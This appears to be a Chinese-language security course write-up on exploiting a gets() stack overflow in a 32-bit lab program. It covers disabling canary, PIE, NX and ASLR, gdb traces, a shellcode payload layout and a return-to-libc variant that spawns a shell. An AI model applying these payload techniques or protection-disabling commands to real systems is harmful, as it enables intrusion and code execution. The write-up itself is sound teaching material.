栈溢出
1. 存在漏洞的函数
1 | stack_over.c |
gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。
2. 关闭相关保护机制
gcc 编译指令中,-m32
指的是生成 32 位程序,-g
方便gdb调试。
- 关闭栈溢出保护
-fno-stack-protector
指的是不开启堆栈溢出保护,即不生成 canary。 - 关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有–enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数
-no-pie
。 - 关闭ASLR
# echo 0 > /proc/sys/kernel/randomize_va_space
(需要在root环境下)。Linux 平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改/proc/sys/kernel/randomize_va_space
来控制 ASLR 启动与否,具体的选项有- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
- 关闭DEP 通过
-z execstack
关闭数据执行保护。
编译:
1 | challenge@ubuntu:~/Desktop/Link to homework2/bufover$ gcc -m32 -g -fno-stack-protector -z execstack stack_over.c -o stack_over stack_over.c: In function ‘vulnerable’: stack_over.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration] gets(s); ^ /tmp/ccMXMZDo.o: In function `vulnerable': stack_over.c:(.text+0x27): warning: the `gets' function is dangerous and should not be used. |
编译成功后,可以使用 checksec 工具检查编译出的文件:
1 | gef➤ checksec stack_over [+] checksec for '/media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over' Canary : No NX : No PIE : No Fortify : No RelRO : Partial |
3. 分析程序溢出点
查看代码段信息
1 | $ objdump -d stack_over |
可以看到,在0x8048461调用gets函数,开启gdb调试,在gets函数下断点单步调试,观察程序运行
1 | $ gdb stack_over GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 |
程序在call 0x8048300 <gets@plt>
停下,ni
指令单步执行,输入30个a测试,继续调试到 0x804846b <vulnerable+23> ret
,观察寄存器和栈。
ret 指令相当于 pop eip。即,首先将 esp 指向的 4 字节内容读取并赋值给 eip,然后 esp 加上 4 字节指向栈的下一个位置。
因此esp指向的4字节0xffffcfac的内容“aaaa”(0x61616161)将赋值给eip,[!] Cannot disassemble from $PC
.
1 | gef➤ ni aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ───────────────────────────────────────────────────────────── gef➤ ni 7 } [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────── registers ──── $eax : 0xffffcf94 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" $ebx : 0x0 $ecx : 0xf7fb45a0 → 0xfbad2288 $edx : 0xf7fb587c → 0x00000000 $esp : 0xffffcf90 → 0x00000001 $ebp : 0xffffcfa8 → "aaaaaaaaaa" $esi : 0xf7fb4000 → 0x001afdb0 $edi : 0xf7fb4000 → 0x001afdb0 $eip : 0x08048469 → <vulnerable+21> nop $eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ────────────────────────────────────────────────── stack ──── 0xffffcf90│+0x0000: 0x00000001 ← $esp 0xffffcf94│+0x0004: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0xffffcf98│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaa" 0xffffcf9c│+0x000c: "aaaaaaaaaaaaaaaaaaaaaa" 0xffffcfa0│+0x0010: "aaaaaaaaaaaaaaaaaa" 0xffffcfa4│+0x0014: "aaaaaaaaaaaaaa" 0xffffcfa8│+0x0018: "aaaaaaaaaa" ← $ebp 0xffffcfac│+0x001c: "aaaaaa" ──────────────────────────────────────────── code:x86:32 ──── 0x8048460 <vulnerable+12> push eax 0x8048461 <vulnerable+13> call 0x8048300 <gets@plt> 0x8048466 <vulnerable+18> add esp, 0x10 → 0x8048469 <vulnerable+21> nop 0x804846a <vulnerable+22> leave 0x804846b <vulnerable+23> ret 0x804846c <main+0> lea ecx, [esp+0x4] 0x8048470 <main+4> and esp, 0xfffffff0 0x8048473 <main+7> push DWORD PTR [ecx-0x4] |
+-----------------+
| retaddr |
ret, 0xffffcfac--->+-----------------+
| saved ebp |
ebp, 0xffffcfa8--->+-----------------+
| |
| |
| |
| |
| |
| |
s, 0xffffcf94-->+-----------------+
1 | ``` gef➤ ni ────────────────────────────────────────────── registers ──── $eax : 0xffffcf94 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" $ebx : 0x0 $ecx : 0xf7fb45a0 → 0xfbad2288 $edx : 0xf7fb587c → 0x00000000 $esp : 0xffffcfac → "aaaaaa" $ebp : 0x61616161 ("aaaa"?) $esi : 0xf7fb4000 → 0x001afdb0 $edi : 0xf7fb4000 → 0x001afdb0 $eip : 0x0804846b → <vulnerable+23> ret $eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ────────────────────────────────────────────────── stack ──── 0xffffcfac│+0x0000: "aaaaaa" ← $esp 0xffffcfb0│+0x0004: 0xf7006161 ("aa"?) 0xffffcfb4│+0x0008: 0xffffcfd0 → 0x00000001 0xffffcfb8│+0x000c: 0x00000000 0xffffcfbc│+0x0010: 0xf7e1c637 → <__libc_start_main+247> add esp, 0x10 0xffffcfc0│+0x0014: 0xf7fb4000 → 0x001afdb0 0xffffcfc4│+0x0018: 0xf7fb4000 → 0x001afdb0 0xffffcfc8│+0x001c: 0x00000000 ──────────────────────────────────────────── code:x86:32 ──── 0x8048462 <vulnerable+14> call 0x10c4:0x83fffffe 0x8048469 <vulnerable+21> nop 0x804846a <vulnerable+22> leave → 0x804846b <vulnerable+23> ret [!] Cannot disassemble from $PC |
继续执行发现[!] Cannot access memory at address 0x61616161
0x61616161内存地址不能被访问,程序崩溃。可以看到,执行ret指令之后esp加上4字节指向0xffffcfb0。
1 | gef➤ ni 0x61616161 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────── registers ──── $eax : 0xffffcf94 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" $ebx : 0x0 $ecx : 0xf7fb45a0 → 0xfbad2288 $edx : 0xf7fb587c → 0x00000000 $esp : 0xffffcfb0 → 0xf7006161 ("aa"?) $ebp : 0x61616161 ("aaaa"?) $esi : 0xf7fb4000 → 0x001afdb0 $edi : 0xf7fb4000 → 0x001afdb0 $eip : 0x61616161 ("aaaa"?) $eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ────────────────────────────────────────────────── stack ──── 0xffffcfb0│+0x0000: 0xf7006161 ("aa"?) ← $esp 0xffffcfb4│+0x0004: 0xffffcfd0 → 0x00000001 0xffffcfb8│+0x0008: 0x00000000 0xffffcfbc│+0x000c: 0xf7e1c637 → <__libc_start_main+247> add esp, 0x10 0xffffcfc0│+0x0010: 0xf7fb4000 → 0x001afdb0 0xffffcfc4│+0x0014: 0xf7fb4000 → 0x001afdb0 0xffffcfc8│+0x0018: 0x00000000 0xffffcfcc│+0x001c: 0xf7e1c637 → <__libc_start_main+247> add esp, 0x10 ──────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x61616161 |
4. 构造payload
分析:由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 shellcode_addr(0xffffcfb0),并且在0xffffcfb0位置写上shellcode,那么在执行完ret指令之后 就会转到shellcode执行。前面又知道了ret相对偏移位置,因此 可以构造payload 'a' * 0x14 + 'bbbb' + p32(shell_addr) + shellcode
。此时栈的结构是
1 | +-----------------+ |
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0xffffcfb0
在内存中的形式是
\xb0\xcf\xff\xff
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用 pwntools 了 ,这里利用 pwntools 的代码如下:
1 | exp_shell.py |
shellcode使用的网上现有的,功能是开启一个shell,如下可以看到测试成功。
1 | $ python exp_shell.py [+] Starting local process './stack_over': pid 25993 ���� [*] Switching to interactive mode $ whoami challenge $ exit [*] Got EOF while reading in interactive $ [*] Process './stack_over' stopped with exit code 0 (pid 25993) [*] Got EOF while sending in interactive |
5. return2libc
如果开启DEP,发现此攻击并不能成功,因为shellcode是在栈上,是不能执行的。现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:
$ gcc -m32 -g -fno-stack-protector stack_over.c -o stack_over1
1 | gef➤ checksec [+] checksec for '/media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over1' Canary : No NX : Yes PIE : No Fortify : No RelRO : Partial |
我们知道stack_over调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。
如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。
1 | gef➤ b main Breakpoint 1 at 0x804847d: file stack_over.c, line 9. gef➤ r Starting program: /media/psf/Home/jn/spring-course/OS_security/homework2/bufover/stack_over gef➤ p system $3 = {<text variable, no debug info>} 0xf7e3e940 <system> |
我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过p system
这个命令来获取system函数在内存中的位置,通过p exit
这个命令来获取exit函数在内存中的位置,随后我们可以通过p __libc_start_main
这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找"/bin/sh"
这个字符串。这样我们就得到了system的地址0xf7e3e940
、exit的地址0xf7e327b0
以及"/bin/sh"
的地址0xf7f5d02b
.
构造payload
1 | exp_shell1.py |
测试成功:
1 | $ python exp_shell1.py [+] Starting local process './stack_over1': pid 31640 [*] Switching to interactive mode $ whoami challenge |
实验平台
1 | $ uname -a Linux ubuntu 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux |